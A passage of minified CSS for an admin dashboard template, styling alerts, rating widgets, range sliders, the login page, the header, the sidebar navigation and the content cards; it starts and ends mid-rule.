0; background-color: #3e8ef7; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .color-selector li input[type=radio] { position: absolute; top: 0; left: 0; z-index: 1; width: inherit; height: inherit; cursor: pointer; border-radius: inherit; opacity: 0; } .color-selector li input[type=radio]:checked + label:after, .color-selector li input[type=radio]:checked + label::after { position: absolute; top: 0px; left: 5px; display: inline-block; margin-top: -3px; font-size: 16px; line-height: 1; content: "\e83f"; color: #fff; } .color-selector li label { position: relative; margin-bottom: .4rem; font-family: "iconkit"; font-style: normal; font-weight: 400; font-variant: normal; text-transform: none; } .color-selector li:last-child { margin-right: 0; } .alert { border: none; } .alert .close { font-size: 18px; padding: 12px 15px; } .jq-icon-info { background-color: #11cdef; color: #ffffff; border: none; } .jq-icon-warning { background-color: #fb6340; color: #ffffff; } .jq-icon-error { background-color: #f5365c; color: #ffffff; } .jq-icon-success { color: #ffffff; background-color: #2dce89; } .jq-toast-single, .jq-toast-single h2 { font-family: 'Nunito Sans', sans-serif; } .br-wrapper { margin: 20px 0 50px; } .br-theme-bars-1to10 .br-widget .br-current-rating { clear: both; padding: 0; font-size: 13px; color: #757575; font-weight: 400; } .br-theme-bars-reversed .br-widget .br-current-rating { clear: both; padding: 0; line-height: 2; font-size: 13px; } .br-theme-bars-movie .br-widget .br-current-rating { color: #757575; font-weight: 400; text-align: left; } .br-theme-bars-horizontal .br-widget .br-current-rating, .br-theme-bars-reversed .br-widget .br-current-rating { color: #757575; font-weight: 400; font-size: 13px; } span.value { display: inline; } .current-rating { position: relative; top: -50px; } .current-rating.hidden { display: none; } .your-rating { position: relative; top: -50px; } .your-rating.hidden { display: none; } .br-theme-bars-1to10 .br-widget a, .br-theme-bars-movie .br-widget a, .br-theme-bars-reversed .br-widget a, .br-theme-bars-horizontal .br-widget a { background-color: #66b0ff; } .br-theme-bars-1to10 .br-widget a.br-active, .br-theme-bars-1to10 .br-widget a.br-selected, .br-theme-bars-movie .br-widget a.br-active, .br-theme-bars-movie .br-widget a.br-selected, .br-theme-bars-reversed .br-widget a.br-active, .br-theme-bars-reversed .br-widget a.br-selected, .br-theme-bars-horizontal .br-widget a.br-active, .br-theme-bars-horizontal .br-widget a.br-selected { background-color: #007bff; } .br-theme-bars-pill .br-widget a { background-color: #66b0ff; color: #007bff; } .br-theme-bars-pill .br-widget a.br-active, .br-theme-bars-pill .br-widget a.br-selected { background-color: #007bff; } .br-theme-fontawesome-stars .br-widget a.br-active:after, .br-theme-fontawesome-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-css-stars .br-widget a.br-active:after, .br-theme-css-stars .br-widget a.br-selected:after { color: #007bff; } .br-theme-bars-square .br-widget a { border: 2px solid #66b0ff; color: #2990ff; } .br-theme-bars-square .br-widget a.br-active, .br-theme-bars-square .br-widget a.br-selected { border: 2px solid #007bff; color: #007bff; } .br-theme-fontawesome-stars-o .br-widget a.br-selected:after, .br-theme-fontawesome-stars-o .br-widget a:after, .br-theme-fontawesome-stars-o .br-widget a.br-active:after, .br-theme-fontawesome-stars-o .br-widget a.br-fractional:after { color: #007bff; } /*range slider start */ .range-slider { min-height: 200px; display: flex; align-items: center; margin-left: 15px; } .range-slider b { margin-top: -10px; } #RGB { height: 10px; background: gray; } #RC .slider-selection { background: #FF8282; } #RC .slider-handle { background: red; } #GC .slider-selection { background: #428041; } #GC .slider-handle { background: green; } #BC .slider-selection { background: #8283FF; } #BC .slider-handle { border-bottom-color: blue; } #R, #G, #B { width: 300px; } .range-slider-contain { position: absolute; bottom: 15px; } .slider-handle { top: -5px; background-image: linear-gradient(to bottom, #007bff 0%, #007bff 100%); box-shadow: none; } .slider-tick, .slider-track { background-image: linear-gradient(to bottom, #BDC3C7 0%, #BDC3C7 100%); } .slider-handle.custom::before { line-height: 15px; font-size: 35px; color: #007bff; } #slider12a .slider-track-high, #slider12c .slider-track-high { background: green; } #slider12b .slider-track-low, #slider12c .slider-track-low { background: red; } #slider12c .slider-selection { background: yellow; } .slider-selection.tick-slider-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider-tick.in-selection { background-image: linear-gradient(to bottom, #3395ff 0%, #3395ff 100%); } .slider.slider-horizontal .slider-track { height: 2px; } .slider.slider-horizontal .slider-tick, .slider.slider-horizontal .slider-handle { top: -5px; cursor: pointer; } /*range slider end */ .slider.slider-horizontal .slider-track { width: 90%; margin-top: -5px; top: 50%; left: 10px; } .auth-wrapper .lavalite-bg { height: 100vh; position: relative; width: 100%; -webkit-background-size: cover; background-size: cover; background-repeat: no-repeat; } .auth-wrapper .lavalite-bg .lavalite-overlay { position: absolute; width: 100%; height: 100%; top: 0; left: 0; background: linear-gradient(135deg, rgba(46, 52, 81, 0.4) 0%, rgba(52, 40, 104, 0.95) 100%); } .auth-wrapper .authentication-form { font-size: .9rem; width: 70%; display: block; padding: 100px 0; } .auth-wrapper .authentication-form .logo-centered { width: 60px; margin: 0 auto; margin-bottom: 40px; } .auth-wrapper .authentication-form h3 { font-size: 20px; color: #272d36; margin-bottom: 20px; } .auth-wrapper .authentication-form .form-group { position: relative; } .auth-wrapper .authentication-form .form-group .form-control { padding-left: 40px; } .auth-wrapper .authentication-form .form-group .form-control ~ i { position: absolute; top: 10px; left: 15px; } .auth-wrapper .authentication-form .sign-btn { margin-top: 30px; } .auth-wrapper .authentication-form .register { margin-top: 30px; text-align: center; } body { color: #212121; font-size: .8rem; line-height: 1.5; font-weight: 400; font-family: "Nunito Sans", sans-serif; } .dropdown-toggle:after, .dropdown-toggle::after { display: none; } .tooltip { font-family: "Nunito Sans", sans-serif; font-size: 12px; font-weight: 700; } .truncate { text-overflow: ellipsis; white-space: nowrap; overflow: hidden; } .progress-sm { height: .5rem; } .progress-sm .progress-bar { height: .5rem; } .img-thumbnail, .list-thumbnail { border-radius: .1rem; padding: 0; border: initial; } .list-thumbnail { height: auto; max-width: unset; height: 85px; object-fit: cover; width: unset !important; } @media only screen and (max-width: 1023px) { .list-thumbnail.responsive { width: unset; height: 135px; } } .list-thumbnail.small { height: 60px; font-size: 1rem; } .list-thumbnail-letters { width: 85px; height: 85px; background: #090e40; align-items: center; display: flex; justify-content: center; font-size: 1.25rem; color: #fff; } .list-thumbnail-letters.small { width: 60px; height: 60px; font-size: 1rem; } .list-item-heading { font-size: 1rem; } .flex-grow-1 { -webkit-flex-grow: 1; -moz-flex-grow: 1; -ms-flex-grow: 1; flex-grow: 1; } .dropdown-menu { padding: 5px; font-size: 12px; background-color: #ffffff; border-color: transparent; margin: 0; width: 170px; border-radius: 6px; -webkit-border-radius: 6px; -moz-border-radius: 6px; -webkit-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); -moz-box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); box-shadow: 0 2px 30px rgba(0, 0, 0, 0.08); } .dropdown-menu .dropdown-item { background-color: #ffffff; padding: 8px 15px; line-height: 14px; border-radius: 4px; -webkit-border-radius: 4px; -moz-border-radius: 4px; } .dropdown-menu .dropdown-item .dropdown-icon { display: inline-block; vertical-align: middle; font-size: 16px; margin-right: 5px; vertical-align: -2px; color: #9aa0ac; } .dropdown-menu .dropdown-item:hover, .dropdown-menu .dropdown-item:focus { background-color: #dee2e6 !important; color: #212121; } .dropdown-menu .dropdown-item .badge { width: 15px; height: 15px; border-radius: 50%; text-align: center; padding: 0; line-height: 15px; } .dropdown-menu:after, .dropdown-menu::after { bottom: 100%; left: 10px; border: solid transparent; content: ' '; height: 0; width: 0; position: absolute; pointer-events: none; border-color: rgba(136, 183, 213, 0); border-bottom-color: #ffffff; border-width: 5px; } .dropdown-menu.dropdown-menu-right::after { right: 10px; left: auto; } .wrapper .header-top { background-color: #ffffff; z-index: 1030; position: relative; padding: 15px 0; position: fixed; top: 0; width: 100%; left: 0; padding-left: 240px; -webkit-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); -moz-box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); box-shadow: 0 1px 15px rgba(0, 0, 0, 0.04), 0 1px 6px rgba(0, 0, 0, 0.04); } .wrapper .header-top .top-menu .dropdown { margin-left: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu { margin-top: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid { width: 182px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.menu-grid .dropdown-item { display: inline-block; width: 40px; height: 40px; text-align: center; padding: 0; line-height: 40px; font-size: 18px; color: #5A5A5A; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown { min-width: 300px; padding: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .header { margin: 0; padding: 15px; font-size: 16px; border-bottom: 1px solid #f1f1f1; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media { border-bottom: 1px solid #eef1f2; padding: 10px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media:nth-child(odd) { background: #f8f9fa; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex { -webkit-box-align: start; -ms-flex-align: start; align-items: flex-start; margin-right: 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex i { color: #fff; text-align: center; font-size: 15px; line-height: 30px; top: 0; height: 30px; width: 30px; background: #404E67; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .d-flex img { height: 30px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body { font-size: 12px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-heading { color: #444; font-weight: 600; letter-spacing: 0; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .notifications-wrap .media .media-body .media-content { color: #868e96; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer { text-align: center; padding: 10px 15px; } .wrapper .header-top .top-menu .dropdown .dropdown-menu.notification-dropdown .footer a { color: #212121; font-size: 16px; } .wrapper .header-top .top-menu .nav-link { width: 30px; height: 30px; padding: 0; text-align: center; line-height: 36px; color: #212121; border: none; position: relative; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; -moz-transition: all 0.5s ease-in-out; -o-transition: all 0.5s ease-in-out; -webkit-transition: all 0.5s ease-in-out; transition: all 0.5s ease-in-out; } .wrapper .header-top .top-menu .nav-link:hover, .wrapper .header-top .top-menu .nav-link:focus { background-color: #dee2e6; color: #333; } .wrapper .header-top .top-menu .nav-link i { font-size: 16px; } .wrapper .header-top .top-menu .nav-link .badge { right: -1px; position: absolute; top: -4px; padding: 3px; width: 17px; font-size: 11px; font-weight: 800; color: #fff; border-radius: 100px; -webkit-border-radius: 100px; -moz-border-radius: 100px; } .wrapper .header-top .top-menu .avatar { color: #4c5667; font-weight: 600; width: 30px; height: 30px; line-height: 30px; border-radius: 50%; -webkit-border-radius: 50%; -moz-border-radius: 50%; display: inline-block; background: #ced4da no-repeat center/cover; position: relative; vertical-align: bottom; font-size: .875rem; user-select: none; } .wrapper .header-top .top-menu .mobile-nav-toggle { border: none; position: relative; margin-right: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span { height: 2px; width: 20px; background-color: #4a5361; display: inline-block; border-radius: 4px; position: absolute; top: 14px; left: 5px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before, .wrapper .header-top .top-menu .mobile-nav-toggle span::after { content: ""; height: 2px; width: 20px; border-radius: 4px; background-color: #4a5361; display: inline-block; position: absolute; } .wrapper .header-top .top-menu .mobile-nav-toggle span::before { left: 0; top: -6px; } .wrapper .header-top .top-menu .mobile-nav-toggle span::after { left: 0; bottom: -6px; } .wrapper .header-top .top-menu .header-search { padding: 0 10px; position: relative; } .wrapper .header-top .top-menu .header-search .input-group { border-radius: 20px; -webkit-border-radius: 20px; -moz-border-radius: 20px; margin-bottom: 0; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon { color: #404E67; padding: 2px 10px 2px 0px; font-size: 16px; cursor: pointer; } .wrapper .header-top .top-menu .header-search .input-group .input-group-addon.search-close { padding: 2px 0px 2px 10px; display: none; } .wrapper .header-top .top-menu .header-search .input-group .form-control { padding: 0 10px; min-height: auto; width: 0; border: none; color: #353c4e; background-color: transparent; border-radius: 0px; -webkit-border-radius: 0px; -moz-border-radius: 0px; } .wrapper .header-top .top-menu .header-search.open .input-group { background-color: #e4e4e4; } .wrapper .header-top .top-menu .header-search.open .input-group .input-group-addon.search-close { display: block; } @media only screen and (max-width: 1023px) { .wrapper .header-top { padding-left: 0; } } .wrapper .header-top[header-theme="light"] { background: #ffffff; } .wrapper .header-top[header-theme="dark"] { background: #272d36; } .wrapper .header-top[header-theme="blue"] { background: #007bff; } .wrapper .header-top[header-theme="red"] { background: #f5365c; } .wrapper .header-top[header-theme="orange"] { background: #fb6340; } .wrapper .header-top[header-theme="green"] { background: #2dce89; } .wrapper .header-top[header-theme="purple"] { background: #BF55EC; } .wrapper .header-top[header-theme="blue"] .top-menu .nav-link, .wrapper .header-top[header-theme="red"] .top-menu .nav-link, .wrapper .header-top[header-theme="orange"] .top-menu .nav-link, .wrapper .header-top[header-theme="green"] .top-menu .nav-link, .wrapper .header-top[header-theme="purple"] .top-menu .nav-link, .wrapper .header-top[header-theme="dark"] .top-menu .nav-link { color: #ffffff; background-color: transparent; } .wrapper .header-top[header-theme="blue"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="red"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="orange"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="green"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="purple"] .top-menu .header-search .input-group .input-group-addon, .wrapper .header-top[header-theme="dark"] .top-menu .header-search .input-group .input-group-addon { color: #ffffff; } .wrapper .page-wrap { position: relative; } .wrapper .page-wrap .app-sidebar { position: fixed; left: 0; top: 0; width: 240px; height: 100vh; background-color: #ffffff; z-index: 1040; -webkit-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); box-shadow: 0 3px 30px rgba(0, 0, 0, 0.1), 0 3px 20px rgba(0, 0, 0, 0.1); -moz-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -o-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -webkit-transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); transition: width 0.3s cubic-bezier(0, 0, 0.2, 1); -moz-transform: translate3d(0, 0, 0); -o-transform: translate3d(0, 0, 0); -ms-transform: translate3d(0, 0, 0); -webkit-transform: translate3d(0, 0, 0); transform: translate3d(0, 0, 0); white-space: nowrap; visibility: visible; } .wrapper .page-wrap .app-sidebar .sidebar-header { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-justify-content: space-between; -moz-justify-content: space-between; -ms-justify-content: space-between; justify-content: space-between; -ms-flex-pack: space-between; padding: 13px 15px; height: 60px; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand { display: block; font-size: 22px; font-weight: 700; color: #212529; } .wrapper .page-wrap .app-sidebar .sidebar-header .header-brand .logo-img { display: inline-block; width: 30px; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .btn-icon { border: none; } .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: none; border: none; background-color: transparent; color: #ffffff; font-size: 20px; -webkit-box-shadow: none; -moz-box-shadow: none; box-shadow: none; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-close { display: inline-block; } } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar .sidebar-header .nav-toggle { display: none; } } .wrapper .page-wrap .app-sidebar .sidebar-content { position: relative; height: -webkit-calc(100vh - 60px); height: -moz-calc(100vh - 60px); height: calc(100vh - 60px); overflow: auto; z-index: 4; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a { display: block; overflow: hidden; padding: 15px 5px; margin-left: 15px; margin-right: 15px; color: #545454; position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a i { font-size: 20px; margin-right: 10px; display: inline-block; vertical-align: -4px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a span { font-size: 13px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a .badge { position: absolute; right: 30px; text-align: center; top: 16px; vertical-align: middle; white-space: nowrap; opacity: 1; visibility: visible; border-radius: 4px; font-size: 75%; padding: 4px 7px; margin-right: 5px; font-weight: 800; color: #fff; -webkit-transition: opacity 0.3s linear; transition: opacity 0.3s linear; text-transform: uppercase; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item a.disabled { opacity: 0.5; cursor: not-allowed !important; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 3px; top: 15px; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content { background-color: #f3f3f3; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item { padding: 10px 5px; font-size: 13px; padding-left: 50px; margin: 0; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .menu-item.active { color: #eb525d; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item::after { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a { position: relative; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item a::before { content: "\e844"; font-family: "iconkit"; position: absolute; right: 20px; top: 10px; display: inline-block; -moz-transform: rotate(0deg); -o-transform: rotate(0deg); -ms-transform: rotate(0deg); -webkit-transform: rotate(0deg); transform: rotate(0deg); -moz-transition: all 0.2s ease-in-out; -o-transition: all 0.2s ease-in-out; -webkit-transition: all 0.2s ease-in-out; transition: all 0.2s ease-in-out; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item { padding-left: 70px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item .submenu-content .menu-item::before { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.has-sub .submenu-content .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item:not(.open) .submenu-content { display: none; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open a::before { -moz-transform: rotate(90deg); -o-transform: rotate(90deg); -ms-transform: rotate(90deg); -webkit-transform: rotate(90deg); transform: rotate(90deg); } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.open::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; position: absolute; top: 10px; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-item.active::after { background: #576a3d; border-radius: 10px; color: #fff; content: " "; height: 30px; left: 0; top: 10px; position: absolute; width: 3px; } .wrapper .page-wrap .app-sidebar .sidebar-content .nav-container .navigation-main .nav-lavel { font-size: 14px; font-weight: 400; opacity: 1; padding: 8px 20px 8px; text-transform: capitalize; visibility: visible; width: 100%; color: #999; background: #333e52; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header { background-color: #272d36; } .wrapper .page-wrap .app-sidebar.colored .sidebar-header .header-brand { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content { background-color: #404E67; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item { border-color: rgba(243, 243, 243, 0.15); } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a { color: #ffffff; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item a i { color: #bcc8d8; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item .submenu-content { background-color: #4a5872; } .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.open::after, .wrapper .page-wrap .app-sidebar.colored .sidebar-content .nav-container .navigation-main .nav-item.active::after { background-color: #eb525d; } .wrapper .page-wrap .app-sidebar.hide-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -moz-transform: translate3d(-100%, 0, 0); -o-transform: translate3d(-100%, 0, 0); -ms-transform: translate3d(-100%, 0, 0); -webkit-transform: translate3d(-100%, 0, 0); transform: translate3d(-100%, 0, 0); } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .app-sidebar { -moz-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -o-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); -webkit-transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); transition: transform 0.4s cubic-bezier(0.25, 0.8, 0.25, 1); } } .wrapper .page-wrap .main-content { padding: 30px 0; background-color: #F6F7FB; min-height: calc(100vh - 120px); margin-top: 60px; padding-right: 15px; padding-left: 255px; -moz-transition: all 0.3s ease; -o-transition: all 0.3s ease; -webkit-transition: all 0.3s ease; transition: all 0.3s ease; } @media only screen and (max-width: 1023px) { .wrapper .page-wrap .main-content { padding-left: 0; padding-right: 0; } } .wrapper .page-wrap .main-content .page-header { margin-bottom: 30px; } .wrapper .page-wrap .main-content .page-header .page-header-title i { float: left; width: 40px; height: 40px; border-radius: 5px; margin-right: 20px; vertical-align: middle; font-size: 22px; color: #fff; display: inline-flex; -webkit-justify-content: center; -moz-justify-content: center; -ms-justify-content: center; justify-content: center; -ms-flex-pack: center; -webkit-align-items: center; -moz-align-items: center; -ms-align-items: center; align-items: center; -webkit-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); -moz-box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); box-shadow: 0 2px 12px -3px rgba(0, 0, 0, 0.5); } .wrapper .page-wrap .main-content .page-header .page-header-title h5 { margin-bottom: 0; font-weight: 700; font-size: 18px; } .wrapper .page-wrap .main-content .page-header .page-header-title h5 + span { font-size: 13px; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container { float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb { background-color: transparent; margin-bottom: 0; float: right; } .wrapper .page-wrap .main-content .page-header .breadcrumb-container .breadcrumb .breadcrumb-item a { color: #212121; } .wrapper .page-wrap .main-content .card .card-body .sub-title { font-size: 14px; border-bottom: 1px solid rgba(204, 204, 204, 0.35); padding-bottom: 10px; margin-bottom: 20px; color: #2c3e50; } .wrapper .page-wrap .main-content .card .card-body code { background-color: #eee; margin: 5px; display: inline-block; padding: 1px 6px; border-radius: 3px; -webkit-border-radius: 3px; -moz-border-radius: 3px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item { padding: 13px 20px; border: 1px solid #ededed; position: relative; border-left: 0; border-right: 0; height: 50px; overflow: hidden; -moz-transition: transform 0.2s ease-in-out; -o-transition: transform 0.2s ease-in-out; -webkit-transition: transform 0.2s ease-in-out; transition: transform 0.2s ease-in-out; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner { display: -webkit-box; display: -moz-box; display: -ms-flexbox; display: -webkit-flex; display: flex; -webkit-justify-content: flex-start; -moz-justify-content: flex-start; -ms-justify-content: flex-start; justify-content: flex-start; -ms-flex-pack: flex-start; position: relative; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .custom-control { margin: 0; margin-top: -2px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title { width: 100%; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-title a { color: #3e5569; font-weight: 600; display: block; width: 100%; white-space: nowrap; text-overflow: ellipsis; overflow: hidden; width: calc(100% - 50px); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions { position: absolute; right: 0px; top: 50%; opacity: 0; display: none; z-index: 3; padding-left: 10px; -moz-transform: translateY(-50%); -o-transform: translateY(-50%); -ms-transform: translateY(-50%); -webkit-transform: translateY(-50%); transform: translateY(-50%); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a { width: 30px; height: 30px; padding: 0; border-radius: 50%; text-align: center; line-height: 32px; color: #999; display: inline-block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .item-inner .list-actions a:focus { background-color: #dee2e6; color: #333; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap { margin-top: 5px; opacity: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item .qickview-wrap .desc p { margin: 0; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus { background-color: #f9f9f9; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:hover .list-actions, .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:focus .list-actions { opacity: 1; display: block; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened { height: auto; background-color: #ffffff; border: none; z-index: 5; -webkit-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); box-shadow: 0 0 0 0 rgba(0, 0, 0, 0.01), 0 0 32px 0 rgba(0, 0, 0, 0.1); -moz-transform: scale(1.01); -o-transform: scale(1.01); -ms-transform: scale(1.01); -webkit-transform: scale(1.01); transform: scale(1.01); } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .item-inner .list-title a { font-size: 16px; color: #263238; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item.quick-view-opened .qickview-wrap { opacity: 1; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item + .list-item { margin-top: -1px; } .wrapper .page-wrap .main-content .card .card-body .list-item-wrap .list-item:last-child { border-bottom: none; } .wrapper .page-wrap .footer { background: #ffffff; padding: 20px 30px; border-top: 1px solid rgba(0, 0, 0, 0.04); font-size: calc(0.875rem - 0.05rem); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } @media only screen and (min-width: 1024px) { .wrapper .page-wrap .footer { padding-left: 270px; } } .wrapper .page-wrap .right-sidebar { position: fixed; top: 60px; right: 0; width: 240px; background: #fff; height: calc(100vh - 60px); border-left: 1px solid #eef1f2; border-top: 1px solid #eef1f2; padding: 1.07143em; z-index: 9; -moz-transform: translateX(100%); -o-transform: translateX(100%); -ms-transform: translateX(100%); -webkit-transform: translateX(100%); transform: translateX(100%); -moz-transition: all 0.25s ease; -o-transition: all 0.25s ease; -webkit-transition: all 0.25s ease; transition: all 0.25s ease; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info h6 { color: #353c4e; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group { position: relative; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group .form-control { padding-right: 30px; border-radius: 50px; -webkit-border-radius: 50px; -moz-border-radius: 50px; padding-left: 15px; } .wrapper .page-wrap .right-sidebar .sidebar-chat .sidebar-chat-info .form-group i { position: absolute; top: 8px; right: 10px; font-size: 16px; color: #bbb; } .wrapper .page-wrap .right-sidebar .sidebar-chat 